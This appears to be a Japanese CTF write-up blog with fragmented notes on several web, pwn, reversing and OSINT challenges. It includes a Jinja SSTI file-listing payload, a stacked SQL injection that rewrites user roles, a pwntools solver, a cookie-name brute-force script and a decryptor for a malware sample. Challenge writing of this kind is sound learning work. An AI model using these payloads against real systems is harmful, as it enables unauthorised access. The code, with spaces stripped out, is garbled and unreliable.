すでにログインしている状態ではメニュー画面に L は選択肢として存在しないはずだが、なぜか通っている。また、手順2でログインしようとしているユーザにはパスワードが設定されているはずだが、なぜかパスワードを入力しないままにログインに成功し、注文情報を読み取ることができていたようだった。そのような認証バイパスができてしまうと、フラグが読み取り放題となってしまう。
diff --git a/cake_backend/src/LOGIN.cob b/cake_backend/src/LOGIN.cobindex 2dabcaa..d0d97f4 100644--- a/cake_backend/src/LOGIN.cob+++ b/cake_backend/src/LOGIN.cob@@ -117,7 +117,10 @@
WHERE USERNAME = :SQL-UNAME AND PASSWORD = :SQL-PW
END-EXEC.
IF SQLCODE NOT = ZERO PERFORM SQL-ERROR EXIT PARAGRAPH.
- IF SQL-CNT = 0 MOVE "Invalid username or password" TO WS-MSG.+ IF SQL-CNT = 0+ MOVE "Invalid username or password" TO WS-MSG+ MOVE SPACES TO WS-UNAME+ END-IF.
IF SQL-CNT = 1 MOVE "T" TO WS-SUCCESS.
EXIT PARAGRAPH.
******************************************************************
from pwn import *
s = remote('(省略)', 7011)
for i inrange(100):
s.recvuntil(b'Enter first number: ')
s.sendline(f'10000000000000000000000000000000000000000000000000000000000000000000000000000000000{i:02}'.encode())
s.recvuntil(b'Enter second number: ')
s.sendline(f'20000000000000000000000000000000000000000000000000000000000000000000000000000000000{i:02}'.encode())
print(s.recvline())
s.interactive()
これを実行するとフラグが得られた。
Securinets{floats_in_js_xddddd}
[Web 406] S3cret5 (87 solves)
My friend built a “secure” secret vault where anyone can register, log in, and save private secrets. He swears it’s fully secure: owner-only access, CSRF protection, logs. Prove him wrong.
// Insert hardcoded flag if not existsconst flag ="CTF{hardcoded_flag_here}";await pool.query(`INSERT INTO flags (flag) VALUES ($1) ON CONFLICT DO NOTHING`,[flag]);console.log("✅ Flag ensured in flags table");
This challenge may require some basic reverse‑engineering skills. Please note that the malware is dangerous, and you should proceed with caution. We are not responsible for any misuse.
import sys
import os
defsub_401460(filepath, file_size):
""" Generate XOR key based on filepath. Reverse engineered from the assembly code. """# XOR filepath characters into edx (32-bit)
edx = 0for i inrange(len(filepath)):
shift = ((i & 3) << 3) # (i % 4) * 8 = 0, 8, 16, 24
char_val = ord(filepath[i])
edx ^= (char_val << shift)
edx &= 0xffffffff# Keep 32-bit# XOR with hardcoded string
secret = b"evilsecretcodeforevilsecretencryption"for i inrange(min(len(secret), 0x25)): # 0x25 = 37
char_val = secret[i]
shift = ((i & 3) << 3) # (i % 4) * 8
edx ^= (char_val << shift)
edx &= 0xffffffff# Keep 32-bit# Generate keystream using LCG (Linear Congruential Generator)
keystream = bytearray()
for _ inrange(file_size):
edx = (edx * 0x19660d + 0x3c6ef35f) & 0xffffffff
keystream.append(edx & 0xff)
returnbytes(keystream)
defdecrypt_file(encrypted_filepath, original_filepath):
"""Decrypt a single file encrypted with XOR."""try:
# Read encrypted filewithopen(encrypted_filepath, 'rb') as f:
encrypted_data = f.read()
file_size = len(encrypted_data)
if file_size == 0:
print(f"[!] Skipping empty file: {encrypted_filepath}")
returnFalseprint(f"[*] Using original path for key generation: {original_filepath}")
# Generate XOR key using ORIGINAL filepath
xor_key = sub_401460(original_filepath, file_size)
# XOR decrypt
decrypted_data = bytearray()
for i inrange(file_size):
decrypted_data.append(encrypted_data[i] ^ xor_key[i])
# Write to output file
output_path = "sillyflag.decrypted.png"withopen(output_path, 'wb') as f:
f.write(decrypted_data)
print(f"[+] Decrypted: {encrypted_filepath} -> {output_path} ({file_size} bytes)")
# Show first few bytes for verification (PNG should start with 89 50 4E 47)print(f"[*] First bytes (hex): {decrypted_data[:16].hex()}")
if decrypted_data[:4] == b'\x89PNG':
print("[+] Valid PNG header detected!")
else:
print("[!] PNG header not found - decryption may have failed")
returnTrueexceptExceptionas e:
print(f"[!] Error decrypting {encrypted_filepath}: {e}")
import traceback
traceback.print_exc()
returnFalsedefmain():
iflen(sys.argv) < 2:
print("Usage: python decrypt.py <encrypted_sillyflag.png>")
print(" Will decrypt using original path: C:\\Users\\gumba\\Desktop\\sillyflag.png")
sys.exit(1)
encrypted_filepath = sys.argv[1]
original_filepath = r"C:\Users\gumba\Desktop\sillyflag.png"ifnot os.path.exists(encrypted_filepath):
print(f"[!] File does not exist: {encrypted_filepath}")
sys.exit(1)
ifnot os.path.isfile(encrypted_filepath):
print(f"[!] Not a file: {encrypted_filepath}")
sys.exit(1)
decrypt_file(encrypted_filepath, original_filepath)
print("[+] Decryption complete!")
if __name__ == "__main__":
main()
実行すると sillyflag.png が復号でき、フラグが得られた。
Securinets{D4t_W4snt_H4rd_1_Hope}
[OSINT 443] G4M3 (51 solves)
Way back in the day, popular game developer Edmund McMillen was impressed by a speedrun of one of his games.
Find the name of the game, the website where the speedrun was hosted, the rating of the speedrun video, and the email address the developer invited the speedrunner to send his full name to.
ただ、"the email address the developer invited the speedrunner to send his full name to" はどこにあるのだろう。メールアドレス自体はいろいろな場所で見つけられるが、状況に合うような投稿は見つからない。でもとりあえずやってみるか、と試してみたところ、通った。
問題はesoteric-urgeが特に面白かった。最速で全完ということで優勝は盤石…のように思われるけれども、実際のところはそこから追い抜かれる余地があった。ひとつ coordinated-resp-disclosure という不思議な問題があり、いわく "This is a task only for participants who report important vulnerabilities in the infrastructure and/or platform during the competition. Do not try to solve it!" ということで、通常の問題を全完の上でインフラやスコアボードの脆弱性を報告されると負ける。解けないだろと思ったけれども、インフラの脆弱性を見つけてポイントをもらっているチームがいた。すごい。
メモリハックを試したい。root化した環境にGameGuardianをインストールして、スコアの変化を追う。なぜか整数型ではなくdoubleで見つかったけれども、とりあえず大きな値にしてみる。"Not so easy, this should have been the flag" というテキストで煽られた。
root化検知やGameGuardian等のアプリの検知がされているのか…? と一瞬考えたが、実は特定の点数に到達した段階でフラグはすでになんらかの形で生成されており、メモリ上に存在はしているけど表示されていないだけなのではないかと考えた。GameGuardianで試しに flag というテキストを検索してみると、見つかった。これは次のようなテキストだった。フラグの前半部分だ!
それはよくて、バックエンド側でもコードに制約があることがわかった。1024文字を超えてはならないし、よろしくないトークンを含んではならない。「よろしくないトークン」というのは、識別子*1のうち Math や PI といった安全なもの以外を指す。Function や constructor といった識別子を入れると弾かれてしまう。
requireEsotericKnowledge の実装は次の通り。ユーザの role が guide であれば叩けるらしい。
exportfunctionrequireEsotericKnowledge(req, res, next){const user = req.session.user;if(user && user.role ==='guide'){returnnext();}
res.status(403).send('You are not yet prepared');}
では、role を変更できるようなAPIがあったり、すでに role が guide であるユーザがいたりしないか。いずれもイエスで、まずユーザ登録が可能なAPIである POST /awaken で role を任意のものに設定できる。ただし、guide であるユーザでログイン済みでなければならない。
app.post('/awaken', middleware.csrfProtect,async(req, res)=>{try{const username = req.body.username;const found =await User.findOne({ username });if(found){
res.status(200).render("message",{text:`The UNiverse is waiting for you, ${username}`});return;}const user = req.session.user;const password = crypto.randomBytes(20).toString('hex').slice(0,20);let role =null;if(user && user.role ==='guide'){
role = req.body.role;}await User.create({ username,password: utils.hash(password),role: role ||'adept'});
res.render("awaken",{ username, password });}catch{
res.status(500).send('It\'s only a bad dream');}});
すでに role が guide であるユーザはひとりだけいて、metatron というユーザ名で登録されている。
$ node app.js
step1
step2
csrf_token: d89fe3e1cdda0240faea9208cc6f4ebf.1757697839.b22b5fe1aa1036a37aa24fde8f3a518564e6c9df9873a9eb3d7ebe18b56aea00
step3
log in as nekotarooooo with password c1bb85aeea3b46deb2a9!
このユーザでログインし、DELETE /reach_nirvana するとフラグが得られた。
DCTF{h3r_es0ter1c_urg3_i5_f1nally_tam3d}
パズルとして面白い問題だった。
[Web 310] rocket (38 solves)
If you want to call yourself a hacker, you’ll need to screenshot this one all the way to the moon and back. The vulnerability is so blatant that missing it would take a willful act of blindness. Do you see it, or are you just pretending?
<!-- Blog Button --><divclass="pt-6"><ahref="http://blog:4000"class="bg-pink-600 hover:bg-pink-700 px-4 py-2 rounded-xl font-semibold text-white shadow inline-block">📝 Blog</a><!-- we should fix the blog vulnerabilities before enabling this <a href="http://127.0.0.1:4000" class="bg-pink-600 hover:bg-pink-700 px-4 py-2 rounded-xl font-semibold text-white shadow inline-block"> 📝 Blog </a> --></div>
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('glob').glob('../*')}}{%endif%}{% endfor %}
How good is your understanding of networks? In this challenge, you’ll explore the basics of how computers talk to each other. Look at the traffic, identify what’s happening, and piece together the hidden information. Use the following: ssh root@target -p port 5d6287sgagGD18G7Ubhq2
# netstat -nao
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
...
tcp 0 0 0.0.0.0:4000 0.0.0.0:* LISTEN off (0.00/0/0)
...
Webサイトの魚拓を取れるアプリが与えられている。ソースコード中を flag で検索すると、src/views/scrap.ejs に以下の記述が見つかる。superbot 以外でログインしている場合にフラグが表示されそうだ。
<% if (user.username != "superbot") { %><p>Goodjob, the flag is: ASIS{FAKE_FLAG1}</p><% } else { %><p>Welcome owner :heart:</p><% } %><h2>Scrapper</h2><formaction="/scrap/run"method="post"class="card"><label>Website you want to scrap
<inputname="url"type="url"requiredplaceholder="https://exemple.com" /></label><button>Scrap scrap scrap !</button></form>
ScrapScrap Iはそこそこ凝っている問題で、あんなに簡単に解ける解法を想定しているはずがない。ということでリベンジ問が出ていた。大きなdiffは次の通り。requireUser というミドルウェアが追加され、/files と /scrap には role が user であるユーザしかアクセスできなくなった。フラグの場所は変わっていない。ということで、この問題のゴールは superbot 以外のユーザの role を user にすることであるとわかる。
データベースの初期化処理は次の通り。bot用に superbot というユーザを作成しており、こいつの role が user らしいとわかる。
asyncfunctioninitDb(){awaitgetDb();awaitexec(` PRAGMA foreign_keys = ON; CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT NOT NULL UNIQUE, password TEXT NOT NULL, data_dir TEXT NOT NULL UNIQUE CHECK(length(data_dir)=8), scrap_dir TEXT NOT NULL UNIQUE, role TEXT NOT NULL DEFAULT 'demo' ); CREATE TABLE IF NOT EXISTS logs ( entry TEXT NOT NULL ); CREATE TRIGGER IF NOT EXISTS users_immutable_dirs BEFORE UPDATE ON users FOR EACH ROW WHEN NEW.data_dir IS NOT OLD.data_dir OR NEW.scrap_dir IS NOT OLD.scrap_dir BEGIN SELECT RAISE(ABORT, 'data_dir and scrap_dir are immutable'); END; `);const bot_username = process.env.BOT_USERNAME ||'superbot';const salt =await bcrypt.genSalt(10);const bot_pwd =await bcrypt.hash(process.env.BOT_PWD ||'superbot', salt);awaitcreateUser(bot_username, bot_pwd);await database.query(` UPDATE users SET role='user' WHERE id=1; `);}
ユーザの作成処理は次の通り。先程のDBの初期化処理を見返すと role のデフォルト値が demo とされているのがわかるけれども、ユーザの作成処理では role は一切タッチされていない。また、ソースコード中を role で検索してみても、どこにも role を変えるような処理は見つからない。正規の方法で role を変えることはできなそうだ。SQLiでもなんでも、使える手段は使って user 権限を得たい。
asyncfunctioncreateUser(username, hash){let dir;let scrap_dir;while(true){
dir =randomFolderName();
scrap_dir =randomFolderName();const exists =awaitget('SELECT 1 FROM users WHERE data_dir = ? LIMIT 1',[dir]);const exists_scrap_dir =awaitget('SELECT 1 FROM users WHERE scrap_dir = ? LIMIT 1',[scrap_dir]);if(!exists &&!exists_scrap_dir)break;}const userRootChrome = path.join('/tmp', dir);
fs.mkdirSync(userRootChrome,{recursive:true});const userRootScraps = path.join(SCRAP_DIR, scrap_dir);
fs.mkdirSync(userRootScraps,{recursive:true});const row =awaitget(`INSERT INTO users (username, password, data_dir, scrap_dir) VALUES (?, ?, ?, ?) RETURNING *`,[username, hash, dir, userRootScraps]);return row;}
role が user でなければならない、つまり今は superbot くんにしか呼び出せないという制約はあるけれども、露骨にSQLiが存在している。しかも複文でも構わないから、UPDATE users SET role='user'; が実行できれば、superbot 以外にも user 権限を持つユーザが作れて終わりに思える。
router.post('/debug/create_log', requireAuth,(req, res)=>{if(req.session.user.role ==="user"){//rework this with the new sequelize schemaif(req.body.log !== undefined&&!req.body.log.includes('/')&&!req.body.log.includes('-')&& req.body.log.length <=50&&typeof req.body.log ==='string'){
database.exec(` INSERT INTO logs VALUES('${req.body.log}'); SELECT * FROM logs WHERE entry = '${req.body.log}' LIMIT 1; `,(err)=>{});}
res.redirect('/');}else{
res.redirect('/checker');}});
なぜかinstancerが用意されておらず、全プレイヤーが同じ環境を使っているっぽかったので、何もしていないのにフラグを得てしまうプレイヤーが出ないよう、解いた後すぐ ');UPDATE users SET role='demo' WHERE id > 2;\x00 で superbot 以外の権限を demo に戻していた。
[Web 334] ScrapScrap II (7 solves)
Having a user account is great in this service: (URL), how about more?
Note: The attachment is changed! Please download it again!!
ScrapScrap I, ScrapScrap I Revenge!の続きだ。実はもう1個フラグが含まれていて、今度は次の通りルートディレクトリに存在するフラグの書かれたファイルを読むことがゴールとなる。I Revenge!で user 権限を得て /files や /scrap を叩けるようになったので、これらの機能を使ってRCEやPath Traversalに持ち込めということだろう。
from fastapi import FastAPI, Request
from fastapi.responses import PlainTextResponse
app = FastAPI()
ADMIN_COOKIE_NAME = "isAdmin"@app.get("/")
asyncdefindex(request: Request):
return PlainTextResponse(request.cookies.get(ADMIN_COOKIE_NAME))
DevToolsで実行するコード:
(async()=>{for(let i =0; i <0x10000; i++){try{const key =`isAdmin${String.fromCodePoint(i)}`;// 文字を入れる箇所を変えるawait cookieStore.set(key,'true');const r =await(awaitfetch('/')).text();if(r.includes('true')){console.log(i);}await cookieStore.delete(key);}catch{}}console.log('done');})();
しかしながら、ユーザのグループが User である場合には呼び出せないようになっている。IdPでは誰でも新規登録ができるようになっているのだけれども、普通は User 以外のグループに入ることはできないようになっている。ということで、なんとかして /api/actions を呼び出せるようにするのが第一歩なのだなあと思う。
exportdefaultasyncfunctionhandler(req, res){if(req.method !== "POST"){
res.setHeader("Allow",["POST"]);return res.status(405).end(`Method ${req.method} Not Allowed`);}const userData =awaitauthRequired(req, res);if(!userData)return;if(userData.groupName =="User"){return res.status(403).json({error:"You do not have permission to perform this action"});}// …
if(req.method ==="POST"){const{ email }= req.body;if(!email){return res.status(400).json({error:"Email is required"});}const user =awaitgetUserFromEmail(db, email);if(!user){return res.status(200).json({message:"If the user exists, a password reset link will be shown on their dashboard."});}const token = crypto.randomBytes(32).toString("hex");const expiresAt =newDate(Date.now()+3600000);await db.run("INSERT INTO PasswordResetTokens (userId, token, expiresAt, used) VALUES (?, ?, ?, ?)",
user.id,
token,
expiresAt,false);return res.status(200).json({message:"If the user exists, a password reset link will be shown on their dashboard."});}elseif(req.method ==="PATCH"){const{ token, newPassword }= req.body;if(!token ||!newPassword){return res.status(400).json({error:"Token and new password are required"});}const tokenData = db.get("SELECT * FROM PasswordResetTokens WHERE token = ?", token);if(!tokenData){return res.status(400).json({error:"Invalid or expired token"});}const tokenUser =awaitgetUserFromId(db, tokenData.userId);if(!tokenUser){return res.status(400).json({error:"Invalid user for the provided token"});}if(tokenData.used){return res.status(400).json({error:"This token has already been used"});}const now =newDate();if(newDate(tokenData.expiresAt)< now){return res.status(400).json({error:"This token has expired"});}if(!validatePassword(newPassword)){return res.status(400).json({error:"Password must be at least 8 characters long and contain at least one number and one special character and one capital letter"});}const hashedPassword =await bcrypt.hash(newPassword,10);await db.run("UPDATE Users SET password = ? WHERE id = ?", hashedPassword, tokenUser.id);await db.run("UPDATE PasswordResetTokens SET used = ? WHERE token = ?",true, token);return res.status(200).json({message:"Password has been successfully reset."});}
"assignGroup": {name:"Assign Group",
description:"Assign a user to a group",
params:{userId:{name:"User ID",
type:"number",
required:true,description:"ID of the user to assign"},
groupId:{name:"Group ID",
type:"number",
required:true,description:"ID of the group to assign the user to"}},
execute:async(db, params)=>{const{ userId, groupId }= params;if(typeof userId !== "number"||typeof groupId !== "number"){thrownewError("User ID and Group ID are required");}const group =await db.get("SELECT * FROM Groups WHERE id = ?", groupId);if(!group){thrownewError("Group not found");}await db.run("UPDATE Users SET groupId = ? WHERE id = ?", groupId, userId);return{success:true,message:"User assigned to group successfully"};}},